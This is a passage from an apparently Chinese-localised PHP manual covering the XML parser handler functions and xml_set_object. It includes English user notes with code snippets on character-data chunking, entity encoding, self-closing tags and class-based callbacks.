As I did not use the concatenation, when I displayed the value of the 'nbres' property, the value was 0 instead of 100 because the first time the function characterdata was called :
$mycontent = 10;

and the second time:
$mycontent = 0;      //!!!!!!!!!!!!! HO HO !! some problem occured ...

Instead of $mycontent = 100;

CONCLUSION:
IN YOUR CHARACTER DATA HANDLER FUNCTIONS, NEVER FORGET THE . (concatenation operator) !!!!! IF YOU DON'T WANT TO HAVE WEIRD BUGS SOME TIMES
morris_hirsch at hotmail dot com
19-Aug-2003 12:15
Thanks to Christian Stocker for clearing up my entity issues,  where some entities are parsed correctly and others not.

The problem is the ''wide'' entities that have a large numeric code simply can not fit in a single byte, which is the default encoding for both source input to the parser and data output from the parser.  So the parser puts out a ''?'' to say it could not store the code value. One could argue that if the input has a &1234; the output should simply copy it as &1234; instead of the ''?'' but that would still mean the  parser behaves two different ways according to the code values, and anyway they don't do it.

So, we need utf8 encoding for the output, and the slightly not obvious way to say so is

  $xml_parser = xml_parser_create ("UTF-8");

which means BOTH source input and data output are utf8.
Remember that utf8 is a superset of basic ASCII but not of extended ASCII, so your input can contain e.g. &eacute;
spelled out, but a native eacute character is wrong here.
Just utf8_encode your input to be sure.

That should do it, and thanks again for the help.
morris_hirsch at hotmail dot com
07-Aug-2003 03:23
Here are two ways to deal with named entities in the XML.

1. Put a list of named entities at the front so the parser knows what they all mean

  $decl = '<!DOCTYPE rootname [

<!ENTITY frac12  "&#x00BD;" >
<!ENTITY frac14  "&#x00BC;" >
<!ENTITY frac34  "&#x00BE;" >
<!ENTITY frac18  "&#x215B;" >
<!ENTITY frac38  "&#x215C;" >
<!ENTITY frac58  "&#x215D;" >
<!ENTITY frac78  "&#x215E;" >
<!ENTITY frac13  "&#x2153;" >
<!ENTITY frac23  "&#x2154;" >
<!ENTITY frac15  "&#x2155;" >
<!ENTITY frac25  "&#x2156;" >
<!ENTITY frac35  "&#x2157;" >
<!ENTITY frac45  "&#x2158;" >
<!ENTITY frac16  "&#x2159;" >
<!ENTITY frac56  "&#x215A;" >

<!ENTITY mdash  "&#x2014;" >

 ..... lots of others

<!ENTITY uuml    "&#252;" >
<!ENTITY yacute  "&#253;" >
<!ENTITY thorn  "&#254;" >
<!ENTITY yuml    "&#255;" >

]>';

$parseThis = $decl . "<rootname> ..... </rootname>";

This works fine for all the single-byte (European) codes,
but not the wide codes like emdash or frac18.
They seem to be trashed when the character data handler gets them.  They all echo as "?"

There may be a way to make them work, but until I find it,
or a newer release takes care of it, here is a work-around that does work.

2. Rewrite every ampersand as &amp; in the input stream

 $ampXML = str_replace ("&", "&amp;", $sourceXML);

Now the parser will see &amp;foo; instead of &foo;

It does not try to decode it, so wide (two byte) values are not a problem, and no list of names is needed.

When you write that to your output you have &foo;

which is usually fine for the next stage of your process.
www.PhoC.de
20-May-2003 10:39
In some cases it's better to avoid storing data which is not needed. In these cases the function

chop()  ( => Alias of function rtrim() )

could be usefull to prevent data like

"\t"
"\r"
"\o"
"\n"
"\x0B"
" "

to be stored in a array or a string or something like this.

Example: (storing data in a string)
________________
$filename="xyz.xml";

if(!($fp=fopen($filename,"r"))){
   die("Cannot open $filename ");
}

while (!feof($fp))
{
   $data .= chop(fgets($fp, 4096));
}

fclose($fp);
________________

Have a look at the documentation of rtrim() http://www.php.net/manual/en/function.rtrim.php.

Greetz
PhoC
waldo at wh-e dot com
07-Mar-2002 01:52
Here's a way to strip all the spaces between tags in an xml document.

//strip white space between tags
$data=eregi_replace(">"."[[:space:]]+"."<","><",$data);

So this:

<house>
  <garage>
   <car>Waldo</car>
  </garage>
</house>

would be changed to:

<house><garage><car>Waldo</car></garage></house>

It was useful to me. Maybe you too?
ken at positive-edge dot com
30-Jan-2002 12:20
the function handler is called several times when it parses the character data.  It doesn't return the entire string as it suggests.  There are special exceptions that will always force the parser to stop scanning and call the character data handler.  This is when:

- The parser runs into an Entity Declaration, such as &amp; (&) or &apos; ()
- The parser finishes parsing an entity
- The parser runs into the new-line character (\n)
- The parser runs into a series of tab characters (\t)

And perhaps others.

For instance, if we have this xml content:

<mytag name=Ken Egervari title=Chief Technology Officer>
   Ken has been Positive Edge&apos;s Chief Technology Officer for 2 years.
</mytag>

The parser will call the character data handler 6 times.  This is what will happen:

1    \n
2    \t
3    Ken has been Positive Edge
4
5    s Chief Technology Officer for 2 years.
6    \n

I hope that helps people out.
mogmios at mlug dot missouri dot edu
24-Oct-2001 07:24
If you want to strip unwanted whitespace in an HTML-like manner then there are two steps.

The first you need to strip consecutive whitespaces from all you input data like this:  $data = eregi_replace ( "[[:space:]]+", " ", $data );

Then in your cdata handler make a check to see if it's blank space. An easy way is like this: if ( trim ( $cdata ) ) { work on cdata }

That should take care of any whitespace issues you might have.
annies at cs dot tu-berlin dot de
04-Aug-2001 01:43
The maximum size of the second parmeter $data seems to be 1024. Is there more character data  in the XML text the handler is called again immediately with the next portion.
add a note add a note

后退 | 起点 | 前进
xml_parser_set_option | 上一级 | xml_set_default_handler


xml_set_default_handler

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_set_default_handler -- 建立默认处理器

说明

bool xml_set_default_handler ( resource parser, callback handler )

为 parser 指定的 XML 处理器建立默认处理函数。handler 为表示一个函数名称的字符串，该函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 handler 参数命名的函数名必须接受两个参数： handler ( resource parser, string data )

parser

第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。

data

第二个参数 data 为包含有字符数据的字符串。其内容可以是 XML 声明、文档类型声明、实体名或者其它没有已存在处理器的地数据。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

如果处理器被成功的建立，该函数将返回 TRUE，如果 parser 指向的不是合法的解析器，函数该函数将返回 FALSE。

注: 除了函数名，还可以用一个数组作参数，该数组由一个对象名和该对象的一个方法名两个元素组成。

add a note add a note User Contributed Notes
phillip
27-Apr-2005 05:13
it seems to me that in PHP5 the function defined as default-handler (using xml_set_default_handler()) doesen't get passed the cdata anymore:

i.e.:
xml_set_element_handler($this->parser, 'parseSTART', 'parseEND');
xml_set_default_handler($this->parser, 'parseDEFAULT');
function parseSTART() { ... }
function parseEND() { ... }
function parseDEFAULT() { ... }

under PHP5, parseDEFAULT will NOT get passed any cdata, but unter PHP4 it will. at least that's my take on the strange stuff (not) happening after migrating to PHP5.

my solution was to add a xml_set_character_data_handler($parser, 'parseDEFAULT'). it worked for me.
add a note add a note

后退 | 起点 | 前进
xml_set_character_data_handler | 上一级 | xml_set_element_handler


xml_set_element_handler

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_set_element_handler -- 建立起始和终止元素处理器

说明

bool xml_set_element_handler ( resource parser, callback start_element_handler, callback end_element_handler )

为 parser 参数指定的 XML 解析器建立元素处理器函数。参数 start_element_handler 和 end_element_handler 为表示函数名称的字符串，这些函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 start_element_handler 参数命名的函数名必须接受三个参数： start_element_handler ( resource parser, string name, array attribs )

parser

第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。

name

第二个参数 name 为该处理器为之被调用的元素名。如果大小写折叠（case-folding）对该解析器有效，元素名将用大写字母表示。

attribs

第三个参数 attribs 为一个包含有对应元素的属性的数组（如果该元素有属性）。数组元素的下标为属性名，元素的值即为属性的值。属性名将以和元素名同样的标准进行大小写折叠（case-folded），其值不进行大小写折叠。

属性的原始顺序将会被参数保留，用 each() 函数遍历 attribs 时，该数组下表的顺序和属性的顺序相同。

由 end_element_handler 参数命名的函数名必须接受两个参数： end_element_handler ( resource parser, string name )

parser

第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。

name

第二个参数 name 为该处理器为之被调用的元素名。如果大小写折叠（case-folding）对该解析器有效，元素名将用大写字母表示。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

如果处理器被成功的建立，该函数将返回 TRUE；如果 parser 指向的不是合法的解析器，函数该函数将返回 FALSE。

注: 除了函数名，还可以用一个数组作参数，该数组由一个对象名和该对象的一个方法名两个元素组成。

add a note add a note User Contributed Notes
redb
15-May-2006 08:48
Example below (BadParser) works fine with some changes.

xml_set_element_handler ( $parser, array ( &$this, 'tagStart' ), array ( &$this, 'tagEnd' ) );
xml_set_character_data_handler ( $parser, array ( &$this, 'tagContent' ) );
Anonymous Koward
07-Apr-2006 01:38
This has been mentioned before, but I just spent several days trying to figure out what was going on. Folks, if your XML parser is completely in a class, look at the documentation for xml_set_object(). The documentation above does say you can use functions inside classes as callbacks for xml_set_element_handler, but it doesn't tell you that if your entire XML parser is inside a class, then this is the _WRONG_ way to do things.

You should instead call xml_set_object with your parser variable and $this, which will then fix strange errors that can otherwise crop up and stop you having to pass an array of ( $this, 'tagStart' ) to this function.

e.g.

<?php

class BadParser
{

   function BadParser ()
   {

       $parser = xml_parser_create();

       //This is the WRONG WAY to set the functions inside your class for parsing the XML.
       xml_set_element_handler ( $parser, array ( $this, 'tagStart' ), array ( $this, 'tagEnd' ) );
       xml_set_character_data_handler ( $parser, array ( $this, 'tagContent' ) );

       xml_parse ( $parser, $this->XMLData );

   }

   function tagStart ( $parser, $tagName, $attributes = NULL )
   {

       $this->tag = $tagName;

   }

   function tagEnd ( $parser, $tagName )
   {

       $this->tag = NULL;

   }

   function tagContent ( $parser, $content )
   {

       //This WILL NOT work as you intended. $this->tag will do strange, mysterious things, but it won't be the tag name like you expected.
       echo ( "{$this->tag}: $content" );

   }

}

?>

Instead, you should change your constructor to do this as XML initalization instead:

<?php

class GoodParser
{

   function GoodParser ()
   {

       $parser = xml_parser_create();

       //This is the RIGHT WAY to set everything inside the object.
       xml_set_object ( $parser, $this );

       xml_set_element_handler ( $parser, 'tagStart', 'tagEnd' );
       xml_set_character_data_handler ( $parser, 'tagContent' );

       xml_parse ( $parser, $this->XMLData );

   }

   /* ... */

}

?>

I don't know if this problem exists in other versions of PHP. My version is 4.4.1. Hope I made sense, if this note had been around, it would've saved a lot of headaches for me (maybe I'm not observant enough).
vladimir-leontiev at uiowa dot edu
14-Dec-2005 01:44
It seems that characterData() gets characters in chuncks of 1024; therefore if you have string of characters between you tags that is longer than 1024 then characterData() will be called more that once for single pair of tags. I don't know if this feature(bug?) is documented anywhere, I just wanted to warn everyone about this; it had tripped me. I use php 4.3.10 on Linux.
hendra_g at hotmail dot com
20-Nov-2005 12:10
I ran into the same problem with 'ibjoel at hotmail dot com' in regards to self-closing tags, and found that the script that he/she wrote did not work as I expected.
I played around with some of php's functions and examples and compiled something, which may not be the neatest solution, but it works for the data that 'ibjoel at hotmail dot com' provided.
The data needs to be read from a file though, so the fp can be utilised. It still uses the xml_get_current_byte_index(resource parser) trick, but this time, I check for the last 2 character before the index and test if it's "/>".

<?php
/* myxmltest.xml:
<normal_tag>
  <self_close_tag />
     data
  <normal_tag>data
     <self_close_tag attr="value" />
  </normal_tag>
     data
  <normal_tag></normal_tag>
</normal_tag>
*/

//## Global Variables ##//
$file = "myxmltest.xml";
$character_data_on = false;
$tag_complete = true;

function startElement($parser, $name, $attrs)
{
   global $character_data_on;
   global $tag_complete;

   echo "&lt;<font color=\"#0000cc\">$name</font>";
   //## Print the attributes ##//
   if (sizeof($attrs)) {
       while (list($k, $v) = each($attrs)) {
           echo " <font color=\"#009900\">$k</font>=\"<font
                   color=\"#990000\">$v</font>\"";
       }
   }
   //## Tag is still still incomplete,
   //## will be completed at either endElement or characterData ##//
   $tag_complete = false;
   $character_data_on = false;
}

function endElement($parser, $name)
{
   global $fp;
   global $character_data_on;
   global $tag_complete;

   //#### Test for self-closing tag ####//
   //## xml_get_current_byte_index(resource parser) when run in this
   //## function, gives the index at (indicated by *):
   //##  for self closing tag: <br />*
   //##  for individual closing tag: <div>character data*</div>
   //## So to test for self-closing tag, we can just test for the last 2
   //## characters from the index
   //###################################//

   if (!$character_data_on) {
       //## Record current fp position ##//
       $temp_fp = ftell($fp);

       //## Point fp to 2 bytes before the end element byte index ##//
       $end_element_byte_index = xml_get_current_byte_index($parser);
       fseek($fp,$end_element_byte_index-2);

       //## Gets the last 2 characters before the end element byte index ##//
       $validator = fgets($fp, 3);

       //## Restore fp position ##//
       fseek($fp,$temp_fp);

       //## If the last 2 character is "/>" ##//
       if ($validator=="/>") {
           //// Complete the self-closing tag ////
           echo " /&gt";
           //// Otherwise it is an individual closing tag ////
       } else echo "&gt&lt/<font color=\"#0000cc\">$name</font>&gt";
       $tag_complete = true;
   } else echo "&lt/<font color=\"#0000cc\">$name</font>&gt";

   $character_data_on = false;
}

function characterData($parser, $data)
{
   global $character_data_on;
   global $tag_complete;

   if ((!$character_data_on)&&(!$tag_complete)) {
       echo "&gt";
       $tag_complete = true;
   }
   echo "<b>$data</b>";
   $character_data_on = true;
}

$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, false);
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($file, "r"))) {
   die("could not open XML input");
}

echo "<pre>";
while ($file_content = fread($fp, 4096)) {
   if (!xml_parse($xml_parser, $file_content, feof($fp))) {
       die(sprintf("XML error: %s at line %d",
                   xml_error_string(xml_get_error_code($xml_parser)),
                   xml_get_current_line_number($xml_parser)));
   }
}
echo "</pre>";
xml_parser_free($xml_parser);
?>
turan dot yuksel at tcmb dot gov dot tr
20-Sep-2005 06:41
The method that 'ibjoel at hotmail dot com' have described requires libxml2 as the xml parser, it does not work with expat. For a brief explanation, see xml_get_current_byte_index.
ibjoel at hotmail dot com
01-Aug-2005 06:49
I noticed that in the example below, and all the examples I've seen on this site for viewing xml in html, the look of self closing tags such as <br /> are not preserved. The parser cannot distinguish between <tag /> and <tag></tag>, and if your start and end element functions are like these examples, both instances will be output with both an indvidual start and end tag.  I needed to preserve self-closing tags and it took me a while to figure out this work around. Hope this helps someone...

The start tag is left open, and then completed by it's first child, the next start tag or its end tag.  The end tag will complete with " />", or </tag> depending on the number of bytes between the start and end tags in the parsed data.
<?php
//$data=filepath or string
$data=<<<DATA
<normal_tag>
  <self_close_tag />
     data
  <normal_tag>data
     <self_close_tag attr="value" />
  </normal_tag>
     data
  <normal_tag></normal_tag>
</normal_tag>
DATA;

function startElement($parser, $name, $attrs)
{
       xml_set_character_data_handler($parser, "characterData");
       global $first_child, $start_byte;
       if($first_child)          //close start tag if neccessary
               echo "><br />";
       $first_child=true;
       $start_byte=xml_get_current_byte_index ($parser);
       if(count($attrs)>=1){
               foreach($attrs as $x=>$y){
                       $attr_string .= " $x=\"$y\"";
               }
       }
       echo htmlentities("<{$name}{$attr_string}"); //unclosed starttag
}

function endElement($parser, $name)
{
       global $first_child, $start_byte;
       $byte=xml_get_current_byte_index ($parser);
       if($byte-$start_byte>2){          //if end tag is more than 2 bytes from start tag
               if($first_child)          //close start tag if neccessary
                       echo "><br />";
               echo htmlentities("</{$name}>")."<br />";  //individual end tag
       }else
               echo " /><br />";  // self closing tag
       $first_child=false;

}

function characterData($parser, $data)
{
       global $first_child;
       if($first_child)  //if $data is first child, close start tag
               echo "><br />";
       if($data=trim($data))
               echo "<font color='blue'>$data</font><br />";
       $first_child=false;
}

function ParseData($data)
{
       $xml_parser = xml_parser_create();
       xml_set_element_handler($xml_parser, "startElement", "endElement");
       xml_parser_set_option($xml_parser,XML_OPTION_CASE_FOLDING,0);
       if(is_file($data))
       {
               if (!($fp = fopen($file, "r"))) {
                       die("could not open XML input");
               }

               while ($data = fread($fp, 4096)) {
                       if (!xml_parse($xml_parser, $data, feof($fp))) {
                               $error=xml_error_string(xml_get_error_code($xml_parser));
                               $line=xml_get_current_line_number($xml_parser);
                               die(sprintf("XML error: %s at line %d",$error,$line));
                       }
               }
       }else{
               if (!xml_parse($xml_parser, $data, 1)) {
                               $error=xml_error_string(xml_get_error_code($xml_parser));
                               $line=xml_get_current_line_number($xml_parser);
                               die(sprintf("XML error: %s at line %d",$error,$line));
               }
       }

       xml_parser_free($xml_parser);
}

ParseData($data);
?>
youniforever at naver dot com
30-Apr-2005 06:41
<html>
  <head>
   <title>SAX Demonstration</title>
   <META HTTP-EQUIV='Content-type' CONTENT='text/html; charset=euc-kr'>
  </head>
  <body>
   <h1>RSS </h1>

     <?php

     $file = "data.xml";

     $currentTag = "";
     $currentAttribs = "";

     function startElement($parser, $name, $attribs)
     {
         global $currentTag, $currentAttribs;
         $currentTag = $name;

         $currentAttribs = $attribs;
         switch ($name) {

         default:
             echo("<b>&lt$name&gt</b><br>");
             break;
         }
     }

     function endElement($parser, $name)
     {
         global $currentTag;
         switch ($name) {
         default:
             echo("<br><b>&lt/$name&gt</b><br><br>");
             break;
         }
         $currentTag = "";
         $currentAttribs = "";
     }

     function characterData($parser, $data)
     {
         global $currentTag;
         switch ($currentTag) {
         case "link":
             echo("<a href=\"$data\">$data</a>\n");
             break;
         case "title":
             echo("title : $data");
             break;
         default:
             echo($data);
             break;
         }
     }

     $xmlParser = xml_parser_create();

     $caseFold = xml_parser_get_option($xmlParser,
                                       XML_OPTION_CASE_FOLDING);

     $targetEncoding = xml_parser_get_option($xmlParser,
                                             XML_OPTION_TARGET_ENCODING);

     if ($caseFold == 1) {
         xml_parser_set_option($xmlParser, XML_OPTION_CASE_FOLDING, false);
     }

     xml_set_element_handler($xmlParser, "startElement", "endElement");
     xml_set_character_data_handler($xmlParser, "characterData");

     if (!($fp = fopen($file, "r"))) {
         die("Cannot open XML data file: $file");
     }

     while ($data = fread($fp, 4096)) {
         if (!xml_parse($xmlParser, $data, feof($fp))) {
             die(sprintf("XML error: %s at line %d",
                         xml_error_string(xml_get_error_code($xmlParser)),
                         xml_get_current_line_number($xmlParser)));
             xml_parser_free($xmlParser);
         }
     }
     xml_parser_free($xmlParser);
     ?>
   </table>
  </body>
</html>
14-Mar-2005 05:34
In response to aw at avatartechnology dot com...
In response to landb at mail dot net...

When your functions are in an object:
Careful ! Don't forget to add: & (reference) to your parameters.

xml_set_element_handler($parser, array(&$this,"_startElement"), array(&$this,"_endElement"));
--> xmlparse will work on your object (good).

instead of:
xml_set_element_handler($parser, array($this,"_startElement"), array($this,"_endElement"));
---> xmlparse will work on a COPY of your object (often bad)

Vin-s
(sorry for my english)
aw at avatartechnology dot com
21-Oct-2004 11:40
In response to landb at mail dot net...

As the notes mention, you can pass an array that contains the reference to an object and a method name when you need... so you can call methods in your own class as handlers like this:

xml_set_element_handler($parser, array($this,"_startElement"), array($this,"_endElement"));

Hope it helps...
tj at tobyjoe dot com
01-Feb-2003 03:22
It seems that the tag handlers don't block on one another (the end handler is called whether or not the begin handler has finished). this can put you in a tight spot if you don't realize it while planning your app.
11-Oct-2001 07:09
You CAN use classes to parse XML. Just take a look at the following function:

xml_set_object
jg at jmkg dot net
08-May-2001 02:08
If you are using a class for xml parsing, and want to check the return value of xml_set_element_handler in case it  fails, you must do this outside of the class's constructor. Inside the constructor, PHP-4.0.5 will die.

Basically, put all your xml initialisation code in another function of the class, and keep it out of the constructor.
add a note add a note

后退 | 起点 | 前进
xml_set_default_handler | 上一级 | xml_set_end_namespace_decl_handler


xml_set_end_namespace_decl_handler

(PHP 4 >= 4.0.5, PHP 5)

xml_set_end_namespace_decl_handler -- 建立终止命名空间声明处理器

说明

bool xml_set_end_namespace_decl_handler ( resource parser, callback handler )

警告

本函数暂无文档，仅有参数列表。

注: 除了函数名，还可以用一个数组作参数，该数组由一个对象名和该对象的一个方法名两个元素组成。

add a note add a note User Contributed Notes
Aeden Jameson
20-Dec-2004 01:19
NOTE: The namespace end event is not supported under libxml.  This issue is formally addressed in the bug report at http://bugs.php.net/bug.php?id=30834
Los Olvidados
31-Jan-2003 06:39
From Expat manual:

typedef void
(*XML_EndNamespaceDeclHandler)(void *userData,
                               const XML_Char *prefix);

Set a handler to be called when leaving the scope of a namespace declaration. This will be called, for each namespace declaration, after the handler for the end tag of the element in which the namespace was declared.
add a note add a note

后退 | 起点 | 前进
xml_set_element_handler | 上一级 | xml_set_external_entity_ref_handler


xml_set_external_entity_ref_handler

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_set_external_entity_ref_handler -- 建立外部实体指向处理器

说明

bool xml_set_external_entity_ref_handler ( resource parser, callback handler )

为 parser 参数指定的 XML 解析器建立外部实体指向处理器函数。参数 start_element_handler 和 end_element_handler 为表示函数名称的字符串，这些函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 handler 参数命名的函数名必须接受五个参数，并应该返回一个整型值。如果处理器的返回值为 FALSE（这也是函数没有确定返回值时的返回值），XML 解析器将停止解析， xml_get_error_code() 函数将返回 XML_ERROR_EXTERNAL_ENTITY_HANDLING。 handler ( resource parser, string open_entity_names, string base, string system_id, string public_id )

parser

第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。

open_entity_names

第二个参数 open_entity_names 是为该实体的解析开放的实体名列表（包括被指向的实体名），这些实体名由空格隔开。

base

这个参数是解析外部实体的系统标识符（system_id）的基础。当前该参数通常都被设置为空字符串。

system_id

第四个参数 system_id 是在实体定义声明中指定的系统标识符。

public_id

第五个参数 public_id 是在实体定义声明中指定的公共标识符，如果未指定任何标识符，则该字符串为空。公共标识符中的空格将按照 XML 的要求被正常化。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

如果处理器被成功的建立，该函数将返回 TRUE；如果 parser 指向的不是合法的解析器，函数该函数将返回 FALSE。

注: 除了函数名，还可以用一个数组作参数，该数组由一个对象名和该对象的一个方法名两个元素组成。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xml_set_end_namespace_decl_handler | 上一级 | xml_set_notation_decl_handler


xml_set_notation_decl_handler

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_set_notation_decl_handler -- 建立注释声明处理器

说明

bool xml_set_notation_decl_handler ( resource parser, callback handler )

为 parser 参数指定的 XML 解析器建立注释声明处理器函数。参数 start_element_handler 和 end_element_handler 为表示函数名称的字符串，这些函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

注释声明是文档 DTD 的一部分，并有如下格式：
<!NOTATION <parameter>name</parameter>
{<parameter>system_id</parameter> | <parameter>public_id</parameter>}?>
。请参考 XML 1.0 参考的第 4.7 节以了解注释声明的定义。

由 handler 参数命名的函数名必须接受五个参数： handler ( resource parser, string notation_name, string base, string system_id, string public_id )

parser

第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。

notation_name

该参数为以上注释格式定义中的 name 参数。

base

这个参数是解析注释声明的系统标识符（system_id）的基础。当前该参数通常都被设置为空字符串。

system_id

外部注释声明的系统标识符。

public_id

外部注释声明的公共标识符。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

如果处理器被成功的建立，该函数将返回 TRUE；如果 parser 指向的不是合法的解析器，函数该函数将返回 FALSE。

注: 除了函数名，还可以用一个数组作参数，该数组由一个对象名和该对象的一个方法名两个元素组成。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xml_set_external_entity_ref_handler | 上一级 | xml_set_object


xml_set_object

(PHP 4, PHP 5)

xml_set_object -- 在对象中使用 XML 解析器

描述

pool xml_set_object ( resource parser, object &object )

该函数使得 parser 指定的解析器可以被用在 object 对象中。所有的回叫函数（callback function）都可以由 xml_set_element_handler() 等函数来设置，它们被假定为 object 对象的方法。

例子 1. xml_set_object() 示例

<?php
class xml  {
    var $parser;

    function xml()
    {
        $this->parser = xml_parser_create();

        xml_set_object($this->parser, $this);
        xml_set_element_handler($this->parser, "tag_open", "tag_close");
        xml_set_character_data_handler($this->parser, "cdata");
    }

     function parse($data)
    {
        xml_parse($this->parser, $data);
    }

    function tag_open($parser, $tag, $attributes)
    {
        var_dump($parser, $tag, $attributes);
    }

    function cdata($parser, $cdata)
    {
        var_dump($parser, $cdata);
    }

    function tag_close($parser, $tag)
    {
        var_dump($parser, $tag);
    }

} // end of class xml

$xml_parser = new xml();
$xml_parser->parse("<A ID='hallo'>PHP</A>");
?>

add a note add a note User Contributed Notes
wake dot shinigami at gmail dot com
24-Nov-2005 12:28
I finally managed to get xml_set_object() to work, after much documentation searching.  As the solution I found has been hinted at, the focus has been wrong.

There have been many problems getting class contained XML parsers to make changes to the members of an instance.  This is because, from what I'm guessing, the functions are using a either a new annonymous instance of the class or an uninstanced version of the class.

What we want to make sure it does it that the parser is accessing its handlers as member methods of a particular instance of a class.  This can be done using the array method for passing a callback, setting the object as a reference to this instance.  This way, you know that the parser is going to call the function properly.

Ex:
<?php
class Parser {

 private $parser;
 private $data;

 public function __construct() {
  $this->parser = NULL;
  $this->data = '';
 }

 private function ParseElementStart($parser, $name, $attrs) {
  // Code
 }
 private function ParseElementEnd($parser, $name) {
  // Code
 }

 public function Parse($XMLdata) {
  $this->parser = xml_parser_create();
  xml_set_object($this->parser, $this);
  xml_set_element_handler($this->parser,
                         array(&$this, 'ParseElementStart'),
                         array(&$this, 'ParseElementEnd'));
  xml_parse($this->parser, $XMLdata);
  xml_parser_free($this->parser);
 }
}
?>

With this, when you call the Parse method, the data in that instance can be modified.  I'm not sure if xml_set_object becomes unneccissary when using the array callbacks, but I leave it in just to make sure that the xml_parse function knows it's in the object.

As above, I'd recommend for memory sake, that the XML parser be created, used, and freed all in the same function, to ensure that everything is cleaned up correctly.
bettmenn at gmx dot de
17-Oct-2004 05:03
Adding to 'lmfe at mega dot ist dot utl dot pt' contribution below, I have to say that this behaviour is very usual for PHP if MemberVars of an Object arent initialized from the constructor.
What worked best for me so far was something like this:
<?php
class foo {
  var $bar
  // the constructor
  function foo() {
   unset($this->bar);  // with every instanciation, the variable is cleared for the object
  }
}
?>
lmfe at mega dot ist dot utl dot pt
30-Sep-2004 01:51
Using PHP 4.3.0, I got this strange behaviour:

<?php
class xml  {

     /* (as specified in the documentation above) */

} // end of class xml

/* This code works */
$xml_parser = new xml();
$xml_parser->parse("<A ID='hallo'>PHP</A>");

/* This code works */
$xml_parser2 = new xml();
$xml_parser2->parse("<A ID='hallo2'>PHP2</A>");

/* This code DON'T work */
$xml_parser = new xml();
$xml_parser->parse("<A ID='hallo3'>PHP3</A>");
?>

In the third block of code, php complains it can't find the handlers it needs.
It seems this problem only happens if the variable is used more than once.
Calling xml_parser_free doesn't help
hwheinzen at t-online dot de
15-Aug-2004 06:38
(Adding to zitan's note)
It seems easy enough to provide output functions for callback handler classes too.

Example:

<?php
class CallBack {
   var $name = 'Callback';
   var $info = 'Information!';
   function toString() {
       return $this->name.': '.$this->info;
   }
}
class Main {
   var $name = 'Main';
   var $callBackObject;
   function setCallBack(&$cBIn) { $this->callBackObject = $cBIn; }
   function toString() {
       return $this->name.': '.$this->callBackObject->toString();
   }
}

$cb = & new CallBack;
$m = & new Main;
$m->setCallBack(&$cb);
echo $cb->toString();
echo $m->toString();
?>

So, after collecting information during the parse operation within the callback handler class, e.g. in tag_close(), retrieving them is possible.
zitan at mediasculpt dot net
02-Sep-2003 12:05
Just a note about creating abstract "call back handlers" as mentioned in some of the other notes.  In this case I recommend extending the base XML class and overwritting the handler methods.  The reason I wanted to do this, is that if you have a separate callback method class it causes problems, for example if you want to collect information out of the XML file and store it in an array.  You can get around it with global variables, but I prefer to use them only when required ;)

Example:

<?php
class xml_output extends xml{

  var $output = array();

   function xml_output(){
   $this->xml();
   }

   //overwrite base methods
   function tag_open($parser, $tag, $attributes)
   {
       array_push($this->output, "<$tag, attributes>");
   }

   function cdata($parser, $cdata)
   {
         array_push($this->output, "$cdata");
   }

   function tag_close($parser, $tag)
   {
         array_push($this->output, "</$tag>");
   }

}

$xml_parser = & new xml_output();
$xml_parser->parse("<A ID='hallo'>PHP</A>");
echo("$xml_parser->output");
?>
sbeam at syxyz dot net
13-Nov-2002 01:34
passing the object as a call-time ref (&$this) as in the example will create a warning in php 4.1+. Pass xml_set_object($xp,$this); instead. This does not seem to break anything - but I dont know for sure.
chiefgeek at ecodedesign.com
05-Aug-2002 01:37
Just adding a little note about my above written example.  It needs some improvements.

Because PHP passes by VALUE by default, when you pass an array like this:
array($callback_handler, 'handler_method')
PHP makes a copy of the callback_handler object and uses the handler_method in the copy.

This is not an ideal situation for many reasons...which I will not get into here...but you should have an idea by now.

The best way to fix this is to change a few things. In the function declaration change the parameter from $callback_handler to &$callback_handler. So now your declaration should look like this

function set_callback_handler(&$callback_handler)
{
  ...
}

Now each time you reference $callback_handler change it to &$callback_handler.  For example:

xml_set_element_handler(
         $this->xml_parser,
         array(&$callback_handler, 'start_element'),
         array(&$callback_handler, 'close_Element' ));

This ensures that PHP will always use the same object.
chiefgeek at ecodedesign.com
04-Aug-2002 11:25
xml_set_object is great, if you want to hard code your start_element, end_element, etc functions within your xml class.

But what if you want to increase the modularity of your application?

Solution, create one generic XMLParser class that handles everything *except* the callback funtions.  Then create an abstract XMLCallbackHandler class which you can extend to provide any customization you want.

So how do you tell the php's xml_parser that you want to use this other class to handle the callback functions.

xml_set_object?  This only works if the functions are *within* the object you called this method from.

The solution lies in the xml_set_element_handler() function.
Take a look at this sample source...

class XMLParser
{

  ...

  function set_callback_handler($callback_handler)
  {
   // Assign the startElement endElement functions
   xml_set_element_handler(
         $this->xml_parser,
         array($callback_handler, 'start_element'),
         array($callback_handler, 'close_Element' ));

   /* By passing an array with this ($object, 'function_name') structure
       to the 2nd and 3rd parameters.  We are able to tell the parser to
       look in another object for these callback functions.
   */

   // Assign the character data function
   xml_set_character_data_handler(
         $this->xml_parser,
         array($callback_handler, 'character_data'));
   }
}

class myCallBackHandler
{
  function start_element(...)
  {
   //code goes here
  }

  function end_element(...)
  {
   //code goes here
  }

  function character_data(...)
  {
   //code goes here
  }
}

Now all thats left to do is use these classes..

$parser = new XMLParser();
